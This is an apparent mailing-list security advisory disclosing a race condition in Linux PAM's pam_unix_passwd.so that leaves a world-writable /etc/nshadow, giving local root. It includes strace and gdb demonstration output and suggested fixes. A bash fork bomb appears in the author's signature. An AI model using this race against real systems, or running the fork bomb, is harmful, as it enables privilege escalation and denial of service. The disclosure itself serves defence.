Linux PAM (up to 0.64-2) local root compromise

Michal Zalewski writes:

As someone said, "Never make any mistaeks."

Latest release of Linux Pluggable Authentication Modules (pam-0.64-2, as
well as previous ones), has huge security flaw in pam_unix_passwd.so
module, which can be exploited to gain read/write permissions to
/etc/shadow file.

Vunerable platforms:

Almost any Linux with PAM + PAM-compliant passwd utility. Both RFC and
PAM readme recommends pam_unix_passwd.so as default password manipulation
routine. Note: RedHat 5.x distribution isn't vunerable, because this
module is obsoleted with newer, universal pam_pwdb.so, while bug in
pam_unix_passwd.so (shipped with dist) is still present.

In the other words, if you have Linux PAM installed on your system 'by
hand', as described in RFC/FAQs, your system is vunerable. Default RedHat 5.x
installation is less or more secure. We have no information about other
PAM-compliant distributions.

There's no information about SunOS/Solaris/etc PAM, as it's slightly
different than Linux version.

Quick vunerability test:
$ grep pam_unix_passwd /etc/pam.conf /etc/pam.d/passwd


- Read and write permissions to /etc/shadow file,
- Superuser privledges, locally.


Default password change routine in pam_unix_passwd.so module, called
from passwd utility, creates temporary file /etc/nshadow using fopen().
Unfortunately, process umask isn't changed. After approx. 3 syscalls,
chmod is called to set proper mode on this file (0600). But, for these
3 syscalls, file permissions are equal to 0666 ~ umask. If umask of
current process (which is inherited from parent process, of course)
is set to 0, we have /etc/nshadow file with permissions 0666. Then,
after all, it's moved using rename() to /etc/shadow. Cute.

strace output for critical part of code:

2957  open("/etc/nshadow", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 8
2957  chown("/etc/nshadow", 0, 0)       = 0
2957  chmod("/etc/nshadow", 0600)       = 0
2957  rename("/etc/nshadow", "/etc/shadow") = 0


[[email protected] /]$ umask 0
[[email protected] /]$ echo $$
[[email protected] /]$ exec passwd
Changing password for lcamtuf
(current) UNIX password:
New UNIX password:

[[email protected] /root]# gdb passwd 3023
Attaching to program `/usr/bin/passwd', process 3023
0x400c37b4 in __read ()
(gdb) break chown
Breakpoint 1 at 0x400c4480
(gdb) c

Retype new UNIX password:

Breakpoint 1, 0x400c4480 in chown ()

[[email protected] /root]# ls -la /etc/nshadow
-rw-rw-rw-   1 root     root            0 Dec  4 11:56 /etc/nshadow

Typical race. Considerated exploitable :-)

The closing:

Lame fix:   chmod -s /usr/bin/passwd
Better fix: add umask(077); somewhere ;P
Thanks to:  Nises and manY for patience :-)

Michal Zalewski [[email protected]] [ENSI / marchew] [dione.ids.pl SYSADM]
[http://linux.lepszy.od.kobiety.pl/~lcamtuf/] <=--=> bash$ :(){ :|:&};:
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